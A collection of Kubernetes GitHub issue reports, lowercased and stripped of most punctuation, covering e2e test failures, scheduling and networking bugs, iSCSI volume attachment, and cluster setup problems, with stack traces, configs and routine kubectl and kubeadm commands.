10:41:36.141    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141\r i0426 10:41:36.141  \u001b 1mstep\u001b 0m: creating a kubernetes client\r i0426 10:41:36.141  apr 26 10:41:36.139: info: >>> kubeconfig: /workspace/.kube/config\r i0426 10:41:36.141  \r i0426 10:41:36.145  \u001b 1mstep\u001b 0m: building a namespace api object\r i0426 10:41:36.176  \u001b 1mstep\u001b 0m: waiting for a default service account to be provisioned in namespace\r i0426 10:41:36.180   it  should survive logging 1kb every 1s seconds, for a duration of 2m0s, scaling up to 1 pods per node\r \r ...\r \r i0426 10:43:36.887  apr 26 10:43:36.865: info: found 2 / 3\r i0426 10:43:36.887  apr 26 10:43:36.865: info: waitfor completed with timeout 2m0s.  pods found = 2 out of 3\r i0426 10:43:36.887  apr 26 10:43:36.865: info: error in wait... timed out waiting for the condition\r i0426 10:43:36.888  panic: \r i0426 10:43:36.888  your test failed.\r i0426 10:43:36.888  ginkgo panics to prevent subsequent assertions from running.\r i0426 10:43:36.888  normally ginkgo rescues this panic so you shouldn't see it.\r i0426 10:43:36.888  \r i0426 10:43:36.888  but, if you make an assertion in a goroutine, ginkgo can't capture the panic.\r i0426 10:43:36.888  to circumvent this, you should call\r i0426 10:43:36.888  \r i0426 10:43:36.889  \tdefer ginkgorecover  \r i0426 10:43:36.889  \r i0426 10:43:36.889  at the top of the goroutine that caused this panic.\r i0426 10:43:36.889  \r i0426 10:43:36.889  \r i0426 10:43:36.889  goroutine 14787  running :\r i0426 10:43:36.889  panic 0x256eb80, 0xc422f81390 \r i0426 10:43:36.890  \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r i0426 10:43:36.890  k8s.io/kubernetes/vendor/github.com/onsi/ginkgo.fail 0xc421de3090, 0x49, 0xc421dcfcd0, 0x1, 0x1 \r i0426 10:43:36.890  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/onsi/ginkgo/ginkgo_dsl.go:247 +0x114\r i0426 10:43:36.890  k8s.io/kubernetes/test/e2e/framework.failf 0x2a1137f, 0x13, 0xc421dcfdb0, 0x1, 0x1 \r i0426 10:43:36.890  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:281 +0x140\r i0426 10:43:36.890  k8s.io/kubernetes/test/e2e.runlogpodswithsleepof 0xc420387110, 0x3b9aca00, 0xc4215b0031, 0x5, 0x1bf08eb000 \r i0426 10:43:36.891  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/logging_soak.go:133 +0x679\r i0426 10:43:36.891  k8s.io/kubernetes/test/e2e.glob..func59.2.1 0xc4219e1fe8, 0xc420387110, 0x3b9aca00, 0x1bf08eb000, 0xc4215b0020 \r i0426 10:43:36.891  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/logging_soak.go:73 +0x1c2\r i0426 10:43:36.891  created by k8s.io/kubernetes/test/e2e.glob..func59.2\r i0426 10:43:36.891  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/logging_soak.go:76 +0x12b\r i0426 10:43:37.161  \r i0426 10:43:37.161  ginkgo ran 1 suite in 5h16m38.279656943s\r i0426 10:43:37.161  test suite failed\r \r cc @fejta @kubernetes/sig-scheduling-bugs

/assign @pipejakob \r @kubernetes/sig-cluster-lifecycle-bugs \r \r part of https://github.com/kubernetes/kubernetes/issues/44243\r triage cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html ea6679417165f10786e6\r testgrid: https://k8s-testgrid.appspot.com/release-1.6-all gke-alpha-features-1.6\r \r \r \r    \r w0502 12:32:43.164  creating cluster bootstrap-e2e...\r w0502 12:53:39.826  .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................done.\r w0502 12:53:39.827  error:  gcloud.container.clusters.create  operation  <operation\r w0502 12:53:39.827   name: u'operation-1493753563143-6563c6f6'\r w0502 12:53:39.827   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w0502 12:53:39.827   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/290380039083/zones/us-central1-a/operations/operation-1493753563143-6563c6f6'\r w0502 12:53:39.827   status: statusvaluevaluesenum done, 3 \r w0502 12:53:39.828   statusmessage: u'all cluster resources were brought up, but the cluster api is reporting that component \ controller-manager\  is unhealthy.'\r w0502 12:53:39.828   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/290380039083/zones/us-central1-a/clusters/bootstrap-e2e'\r w0502 12:53:39.828   zone: u'us-central1-a'>  finished with error: all cluster resources were brought up, but the cluster api is reporting that component \ controller-manager\  is unhealthy.\r

the \ cluster level logging implemented by stackdriver should ingest system logs from all nodes\  e2e test is failing on our 2k-node gce clusters - https://k8s-testgrid.appspot.com/google-gce-scale gce-large-correctness with the following error:\r \r    \r failed to create stackdriver logging sink: googleapi: error 400: filter cannot be longer than 20000 characters., badrequest\r    \r \r seems to be because of creating a filter of o  nodes  size:\r \r    \r using the following filter for log entries: resource.type=\ gce_instance\  and  resource.labels.instance_id=9022783563020170818 or resource.labels.instance_id=623491093136995906 or resource.labels.instance_id=4780682787538400833 or resource.labels.instance_id=5936394307195696705 or resource.labels.instance_id=6219227236601230913 or resource.labels.instance_id=5239226076018570818 or resource.labels.instance_id=4293549143014307394 or resource.labels.instance_id=6628560181373236803 or resource.labels.instance_id=1898100776565012035 or .....\r    \r \r cc @crassirostris @kubernetes/sig-instrumentation-bugs @kubernetes/sig-scalability-misc

planned improvements for selfsubjectrulesreview  https://github.com/kubernetes/features/issues/380  over 1.9 release.\r \r -     support for the webhook authorizer  ref https://github.com/kubernetes/kubernetes/issues/52511 \r -     kubectl convenience.  https://github.com/kubernetes/kubernetes/pull/53324 \r -  x  default role binding for authenticated users?  https://github.com/kubernetes/kubernetes/pull/53324 \r \r /assign\r \r cc @kubernetes/sig-auth-feature-requests @xilabao\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /cc @kubernetes/sig-storage-bugs \r \r   what happened  :\r we should update all the test server packages that we use for nfs, ceph, gluster, etc e2e tests since they are quite old, and users probably will probably use newer packages.

the field is marked as optional:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go l2414\r \r the comment also describes a use case for empty topologykey:\r https://github.com/kubernetes/kubernetes/blame/master/staging/src/k8s.io/api/core/v1/types.go l2410\r \r but the validation rule says it's required: \r https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l2662

https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/ how-daemon-pods-are-scheduled\r daemonset should not respect node's  unschedulable  field. it's because cluster operators often want system components to be running and ready before workloads run on a given node. otoh, daemonset does respect noschedule taints. \r \r this behavior is broken by  58689, because daemonset share some predicates code with default scheduler.

we started seeing this in our 5k-node density test. this is   not   causing slo violations or failures in the test - so it's not a release-blocking issue. but we should still take a look into it.\r \r ! list-nodes  https://user-images.githubusercontent.com/4333971/40229856-d0c6d7fc-5a95-11e8-9c48-3b54e80374c9.png \r \r also, there's some increase we saw in the no. of list nodes calls around the same time  i.e b/w runs 142 and 145 :\r \r ! count  https://user-images.githubusercontent.com/4333971/40230017-66a703e6-5a96-11e8-8038-7d1335d9368e.png \r \r cc @kubernetes/sig-scalability-bugs \r /assign @wojtek-t \r  who already started looking into it

 \r   context  :\r i have an infrastructure deployed on aws using terraform. two spring  java  apps are deployed using terraform, via kubernetes using a  kubernetes_replication_controller  and a  kubernetes_service .\r \r using a simple infra, i experienced sometimes realy slow response when calling a pod from an other pod  and  when calling from the outside.\r \r   what you expected to happen  :\r response time should be stable and reduced\r \r   what happened  :\r communication is ok  but  after some measures, i noticed that requests always takes either 0, 10, 20, 30, ... seconds  see graph \r ! graph  https://user-images.githubusercontent.com/9681129/43222748-54940d3e-9051-11e8-96d3-ef9ce6dd6d60.png \r 110 tests in this graph, calls between two pods\r \r it really looks like a timeout and retry story, with a 10 seconds timeout. following this logic, a 20 delays can be seen as 2 failures before succeeding. if i follow this logic, since this graphs depicts a total of 126 10 seconds delay, this graph underlies 126 failures in the 110 tests  = 110 successes  => i have a success rate of about 50%\r \r the same has been observed when calling from the outside\r \r   test standardisation\r to exclude any failure from my side, i deployed an  echo server  https://github.com/hashicorp/http-echo  on the same infrastructure and started doing some tests using the hostname of the \r    \r time wget http://lb_id.region.elb.amazonaws.com/\r    \r \r i did 4 tests on 3 nodes : 1 pod, 2 pods, 3 pods and 4 pods:\r ! 1_3_a  https://user-images.githubusercontent.com/9681129/43259755-a026db88-90d7-11e8-8c69-21f053147fb1.png \r ! 2_3_a  https://user-images.githubusercontent.com/9681129/43259756-a03c43c4-90d7-11e8-92b4-678fc0951a33.png \r ! 3_3_a  https://user-images.githubusercontent.com/9681129/43259757-a052ea98-90d7-11e8-8d27-d6f9f1eb10e6.png \r ! 4_3  https://user-images.githubusercontent.com/9681129/43259628-26fb5fd6-90d7-11e8-9a78-1726dfe94599.png \r \r this pushed me to do the test with one single pod\r - 1 pod over 3 nodes : 100% success, no delay\r - 2 pods over 3 nodes : 50% success\r - 3 pods over 3 nodes : 33% success\r - 4 pods over 3 nodes : 33% success ... but bigger variance\r nb : according to the log of the pods, the requests are all handled in milliseconds when received  and  the traffic is well balanced between pods\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r \r  

>  >  \r i have deployment.yaml file which as below\r \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   labels: {appid: 1234, groupid: default, app: signup,\r     version: 1.1.0-29}\r   name: signup-uwsgi-deployment\r   namespace: signup\r spec:\r   replicas: 1\r   selector:\r     matchlabels: {app: signup}\r   template:\r     metadata:\r       labels: {app: signup, version: 1.1.0-29}\r     spec:\r       containers:\r       - args:  signup \r         image: ---------\r         imagepullpolicy: ifnotpresent\r         name: signup\r         ports:\r         - {containerport: 1000}\r         resources:\r           limits: {memory: 750mi}\r           requests: {memory: 750mi}\r         env:\r         - name: app_context\r           value: \ platform_context\ \r       hostaliases:\r       - hostnames:  foo.local, bar.local \r         ip: 127.0.0.1\r       - hostnames:  host \r         ip:   .  .  .  \r       imagepullsecrets:\r       - {name: xxx.io}\r    \r \r i have deployed this  kubectl apply -f deployment.yaml . and i am using circus to manage process. \r after entering into the container i am able to see the env variable .\r \r    \r core@host    ~ $ kubectl exec -it signup-uwsgi-deployment-66d8db6597-4bx6n -n signup bash\r root@signup-uwsgi-deployment-66d8db6597-4bx6n:/  printenv | sort\r app_context=platform_context\r    \r \r inside container i have python web application . i have tried to get the same environmental variable but it is not getting.\r \r  app_context = os.environ.get 'app_context'  \r \r the above code gives me \ none\  value.\r \r please find the circus file as below,\r    \r  watcher:signup \r autostart = true\r cmd = uwsgi\r args = -h env --yaml uwsgi.yml:signup\r working_dir = /opt/my_dir/apps/signup\r hooks.before_start =       \r \r  env:orders-signup \r python_egg_cache = /tmp\r path =  /opt/my_dir/apps/signup/env/bin:$path\r pythonpath =  /opt/my_dir/apps/lib:/opt/my_dir/apps/signup:$pythonpath\r    \r \r please find the process info of container;\r    \r root@signup-uwsgi-deployment-66d8db6597-4bx6n:/etc  ps ax\r   pid tty      stat   time command\r     1 ?        ssl    0:00 /usr/bin/python /usr/local/bin/circusd /etc/circus/circusd.ini\r   112 ?        ss     0:00 bash\r   138 ?        ss     0:02 uwsgi -h env --yaml uwsgi.yml:signup\r   152 ?        s      0:00 uwsgi -h env --yaml uwsgi.yml signup\r   154 ?        r+     0:00 ps ax\r    \r \r   anything else we need to know?  :   \r 1 . why it is showing after getting into the container?\r 2  how do i get the same env variable via python code. \r \r   environment  :\r - kubernetes version:\r  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ -------\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3+coreos.0\ , gitcommit:\ ------\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t17:27:17z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:  aws\r - os  e.g. from /etc/os-release :\r - kernel . :  linux signup-uwsgi-deployment-66d8db6597-4bx6n 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:  - \r - others:  - \r

today, the restart strategy is exponential back-off https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/pod-states.md restartpolicy . there are discussions on other back-off strategies as well  https://github.com/kubernetes/kubernetes/issues/17801  , but none of them is implemented in rktnetes yet as we are not able to do per container restart yet.  cc @kubernetes/sig-rktnetes @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/211/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should update nodeport: http  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:175 nov 23 16:49:33.756: failed to find expected endpoints: tries 0 command timeout -t 15 curl -q -s --connect-timeout 1 http://104.155.27.64:30504/hostname retrieved map default backend - 404:{}  expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:263       previous issues for this test:  33730

use case:\r we would like to use k8s service discovery with external resource such as aws rds  db .\r so when when the pods are up they can use k8s generated environment variables for service discovery.\r \r currently only dns records are created: <svc-name>.<namespace>.svc.local.cluster

bug report  \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  bare metal\r -   os    e.g. from /etc/os-release :  centos 7; reproduced in ubuntu 14.0.4.2.\r -   kernel    e.g.  uname -a  :  linux centos7 3.10.0-514.6.1.el7.x86_64  1 smp wed jan 18 13:06:36 utc 2017 x86_64 x86_64 x86_64 gnu/linux; kernel 3.16.0-77-generic\r \r \r   what happened  :\r on a host where an iscsi lun from a given target is mounted in a pod, a user who creates a new lun on the same target and attempts to create a pod that mounts the new lun will fail to create the pod.  specifically, depending on the operating system, the pod will hang in the containercreating stage with either a \ could not attach disk: timeout after 10s\  error  centos 7  or an error about establishing a session when one already exists  ubuntu 14 .\r \r   what you expected to happen  :\r the pod should successfully mount the lun.\r \r   how to reproduce it    as minimally and precisely as possible :\r given a working iscsi target and a single node kubernetes cluster:\r \r 1. create a lun on the iscsi target\r 2. create a pod that uses the lun from step 1  either natively or through a pv/pvc \r 3. create a new lun on the iscsi target  note that the target portal and iqn must be identical .\r 4. create a pod that uses the lun from step 3.\r \r the pod created in step 4 will fail to start.\r \r   anything else we need to know  :\r \r as far as i can tell, this is due to a bug with the kubernetes iscsi implementation.  the attachdisk   function in pkg/volume/iscsi/iscsi_util.go first checks if the lun exists in /dev/disk/by-path/; if it doesn't, it attempts to log in to the target and recheck for the lun's existence  lines 123-138 in the 1.5 branch .  in this case, though, the session already exists, as it was created with the pod in step 2.  in ubuntu, attempting to log in a second time triggers an error, which gets reported in the pod description.  in centos 7, this gets treated as a nop; however, the new lun will never become visible, and thus, the pod will fail to start.\r \r this can be solved manually by logging into the host and running  iscsiadm -m session --rescan .  it should be possible to fix it in kubernetes by adding a check in attachdisk   to see if a session already exists for the target portal and iqn and, if so, doing a rescan of the session.

the cloud-controller-manager is almost complete now, but does not have e2e tests for it to go to beta.

follow https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-third-party-resource/\r \r 1. create a tpr  crontab \r 2. create an instance  my-new-cron-object \r 3. watch a single instance return 400.  watch a collection of tpr works \r    \r $ kubectl get crontab my-new-cron-object -w\r name                 kind                            cron spec    image\r my-new-cron-object   crontab.v1.stable.example.com           /5   my-awesome-cron-image\r error from server  badrequest : the server rejected our request for an unknown reason  get crontabs.stable.example.com \r    \r \r master and kubectl version: 1.7.1\r \r crd has the same issue.\r \r /assign @enisoc

as of  gcloud  164.0.0  2017-07-26 , the  --zones  and  --regexp  flags are deprecated from a number of  gcloud compute  calls:\r    gcloud compute disks list \r    gcloud compute disk-types list \r    gcloud compute instance-groups unmanaged list \r    gcloud compute instances list \r    gcloud compute machine-types list \r    gcloud compute target-instances list \r \r we use these pretty extensively in our cluster scripts, and we need to update them to use  --filter  so they don't mysteriously break in the future.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r test panicked when statefulset is created using  apiversion: apps/v1beta2 \r test is using kubernetes/test/e2e/framework/statefulset_utils.go\r same test with  apiversion: apps/v1beta1 , works fine.\r \r    \r test panicked\r   reflect: call of reflect.value.isnil on int64 value\r   /usr/local/go/src/runtime/panic.go:489\r \r   full stack trace\r   \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r   reflect.value.isnil 0x32ba7c0, 0xc420e65bb8, 0x186, 0x5b69200 \r   \t/usr/local/go/src/reflect/value.go:995 +0x106\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .defaultconvert 0xc4202f49a0, 0x32ba7c0, 0xc420e65bb8, 0x186, 0x3163120, 0xc420e64fb8, 0x196, 0xc4203d5270, 0x0, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:636 +0x12b9\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert 0xc4202f49a0, 0x32ba7c0, 0xc420e65bb8, 0x186, 0x3163120, 0xc420e64fb8, 0x196, 0xc4203d5270, 0x412300, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:577 +0x821\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convertkv 0xc4202f49a0, 0x5b48b20, 0xc4202b6720, 0x5b48b20, 0xc4202b6840, 0xc4203d5270, 0x4, 0x32e2f7e \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:836 +0x6c0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .defaultconvert 0xc4202f49a0, 0x3ac9f00, 0xc420e65bb8, 0x199, 0x3ac9a00, 0xc420e64fb8, 0x199, 0xc4203d5270, 0x0, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:621 +0xf1f\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert 0xc4202f49a0, 0x3ac9f00, 0xc420e65bb8, 0x199, 0x3ac9a00, 0xc420e64fb8, 0x199, 0xc4203d5270, 0x0, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:577 +0x821\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convertkv 0xc4202f49a0, 0x5b48b20, 0xc420db0e20, 0x5b48b20, 0xc420db10c0, 0xc4203d5270, 0x1, 0x2 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:836 +0x6c0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .defaultconvert 0xc4202f49a0, 0x3914200, 0xc420e65800, 0x199, 0x3913be0, 0xc420e64c00, 0x199, 0xc4203d5270, 0x0, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:621 +0xf1f\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert 0xc4202f49a0, 0x3914200, 0xc420e65800, 0x199, 0x3913be0, 0xc420e64c00, 0x199, 0xc4203d5270, 0xc420159e01, 0xc4203d5270 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:577 +0x821\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter . k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.convert -fm 0x3914200, 0xc420e65800, 0x199, 0x3913be0, 0xc420e64c00, 0x199, 0xc4203d5270, 0x1, 0x411ac2 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:480 +0x7d\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .doconversion 0xc4202f49a0, 0x3bf76a0, 0xc420e65800, 0x3bf6260, 0xc420e64c00, 0x8, 0xc420db0d60, 0xc420ce5c48, 0x0, 0xc420ce5ce8 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:517 +0x2d0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert 0xc4202f49a0, 0x3bf76a0, 0xc420e65800, 0x3bf6260, 0xc420e64c00, 0x8, 0xc420db0d60, 0x3bf76a0, 0x5dbdf01 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:480 +0xbf\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime.  scheme .convert 0xc4203f20c0, 0x3bf76a0, 0xc420e65800, 0x3bf6260, 0xc420e64c00, 0x35b9fe0, 0x5dba040, 0x5b69200, 0x3bf76a0 \r   \t<autogenerated>:112 +0x87\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/serializer/versioning.  codec .decode 0xc4202ebb80, 0xc421570a00, 0x26f, 0x48b, 0x0, 0x5b291a0, 0xc420e64c00, 0x0, 0xc4203f20c0, 0xc4203b3340, ... \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/manifest/manifest.go:99 +0x168\r   k8s.io/kubernetes/test/e2e/framework.  statefulsettester .createstatefulset 0xc4201ad300, 0x3cf23f0, 0x2c, 0xc420d3c450, 0x23, 0x0 \r   \t/root/divyenp/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:100 +0x190\r    \r \r    \r   cat statefulset.yaml \r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: web\r spec:\r   servicename: \ nginx\ \r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: gcr.io/google_containers/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/nginx/html\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r       annotations:\r         volume.beta.kubernetes.io/storage-class: nginx-sc\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1gi\r    \r \r \r   what you expected to happen  :\r statefulset_utils.go should support creating statefulset with api version  apps/v1beta2  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\  v1.8.1\r - cloud provider or hardware configuration  : vsphere cloud provider\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc: @janetkuo @foxish

 \r   what happened  :\r \r when the dns fails for whatever reason, and the cluster functions  pods  are dependent on the dns for correct functionality, the following warning  or info  occurs:\r \r > proxier.go:1000  stale udp service kube-system/kube-dns:dns\r \r and leads to a   _cascading_   failure in all newly started pods and goes undetected on the kube-proxy. restart of just dns is not sufficient  waited for 4 hrs for self correction after dns restart : a restart of the all the kube-proxies in the cluster is required to get back to normal service.\r \r   what you expected to happen  :\r \r a stale connection should be terminated and the kube-api server should be queries on a regular basis for new connections, also when they are for cluster services as the dns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start a cluster with a cluster dns. wait for kube-proxy to initialize. kill the dns pod  if possible keep it in a crash loop backoff, which was my situation . wait until the warning/info occurs on the kube-proxy.\r \r \r   environment  :\r - k8s version 1.9.4\r - gce\r - ubuntu 16lts\r - linux staging002worker-1518566357 4.13.0-1011-gcp  15-ubuntu smp mon feb 12 16:29:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: self build cluster\r \r kube-proxy config:\r \r    \r /usr/local/bin/kube-proxy \\\r   --resource-container= \\\r   --feature-gates=experimentalcriticalpodannotation=true \\\r   --iptables-sync-period=1m \\\r   --iptables-min-sync-period=10s \\\r   --cluster-cidr=10.3.0.0/16 \\\r   --master=https://myip:6443 \\\r   --kubeconfig=/var/lib/kube-proxy/kubeconfig \\\r   --proxy-mode=iptables \\\r   --v=2\r    \r

is this a bug report or feature request?  :\r \r  \r   description:  \r \r the feature  scheduledaemonsetpods  was in alpha phase in 1.11.\r in discussion of https://github.com/kubernetes/features/issues/548, it's agreed to promote this feature to beta in 1.12.\r \r   tasks:  \r \r -  x  update  scheduledaemonsetpods  to be beta in kube_features.go   67899 \r -  x  added unschedulable and network-unavailable toleration.   64954 \r -  x  remove rescheduler once scheduling ds pods by default scheduler moves to beta   64725 \r -  x  daemonset with node affinity for \ dynamic\  labels only works with one candidate value   66298 \r -  x  pending pod scheduled onto master node when  scheduledaemonsetpods  is enabled   66348 \r -  x   1.12  potential impact on kubeadm after enabled  scheduledaemonsetpods    66831 \r -  x  daemonset pods not scheduled to cordoned node   67845 \r -  x  release notes and doc  https://github.com/kubernetes/website/pull/9923 \r \r   links:  \r \r - design doc: kubernetes/community 1714\r - feature: kubernetes/features 548\r - alpha items:  59194\r

sometime ago i observed in our 5k-node scalability tests that core-dns pods were crashing  we use n1-standard-1 nodes there . this was after we switched the default from kube-dns to core-dns in https://github.com/kubernetes/kubernetes/pull/67569. we need to investigate this before we cut the release.\r \r    / /milestone v1.12\r \r cc @wojtek-t @krzysied \r

https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/owners\r \r i believe this owners file should not inherit permissions from parent owners files; only api approvers should be able to approve api changes.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   why is this needed  :\r \r fake clients support pushing events now.\r \r with this, testing code will more like really code and we don't need mock informers behavior anymore.\r \r xref: https://github.com/kubernetes/kubernetes/pull/57504\r xref: https://github.com/kubernetes/kubernetes/issues/54075\r \r ~~i'm going to support concurrent control and incremental resource version in client-go fake client.~~\r ~~xref: https://github.com/kubernetes/kubernetes/pull/72353~~  rejected, see comments in pr \r \r <!-- do not edit below this line -->\r 

what happened  :\r \r on a freshly bootstrapped cluster the pods cannot reach neither other pods, nor the api server, nor the outside world\r \r   what you expected to happen  :\r \r be able to reach the api server as well as the outside world\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i tried with the following two variants. result is the same.\r \r 1: nanopi m4 as master. wife connected to my cable modem. eth0 connected to separate switch for the node network. nodes are raspberry pi3 with debian buster and one amd64 based node.\r physical network is as follows:\r internet <--> cable modem <--> 192.168.178.0/24 <-->  wifi  nanopi m4  lan  <--> 172.16.0.0/24 switch <--> nodes\r nat routing works from the nodes to the internet.\r docker ca install according to docker website\r kubernetes install according to kubernetes website\r kubeadm init --apiserver-advertise-address=172.16.0.1 --pod-network-cidr=10.244.0.0/16\r sysctl net.bridge.bridge-nf-call-iptables=1\r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/bc79dd1505b0c8681ece4de4c0d86c5cd2643275/documentation/kube-flannel.yml\r kubeadm join 172.16.0.1:6443 --token 